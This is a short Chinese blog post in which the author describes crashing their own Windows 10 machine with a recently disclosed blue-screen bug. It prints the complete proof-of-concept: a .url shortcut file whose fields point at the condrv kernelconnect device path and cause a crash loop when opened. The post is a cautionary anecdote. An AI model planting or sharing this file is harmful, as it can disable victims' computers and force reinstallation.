windows10的最新漏洞,让我一晚上没睡着
前言:win10最近爆出来一个蓝屏的漏洞,于是好奇玩了一下,把自己坑惨了。
发现前2天火遍的win10系统漏洞后,便好奇自己研究一下,于是自己便照别人的代码写了一下。
可是怎么也不能蓝屏,就很好奇,于是就在notepad++上面重新写了一下poc,写完保存再运行之后,就是噩梦的的开始了。
关键代码如下:
[DEFAULT]
BASEURL=\\.\globalroot\device\condrv\kernelconnect
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,2
[InternetShortcut]
URL=\\.\globalroot\device\condrv\kernelconnect
IDList=
IconFile=\\.\globalroot\device\condrv\kernelconnect
IconIndex=1
傻就傻在,写完了,还保存在桌面。之前以txt格式保存,双击没有任何反应。然后换了另存为url格式。
写好了,双击直接蓝屏,接下来就是重启。因为这个程序一接触就会触发,然后不敢进入桌面,
一进去就会触发这个文件,无限蓝屏,死循环。
后来想着进入安全模式,命令行准备删除,可是C,D盘都被锁了(Windows安全做的真好),被迫重新装机了。
前前后后整了好几个小时。
以此留作纪念,希望下次玩之前一定要在虚拟机里面玩。目前漏洞还没有补丁,安全软件也无法拦截,慎重!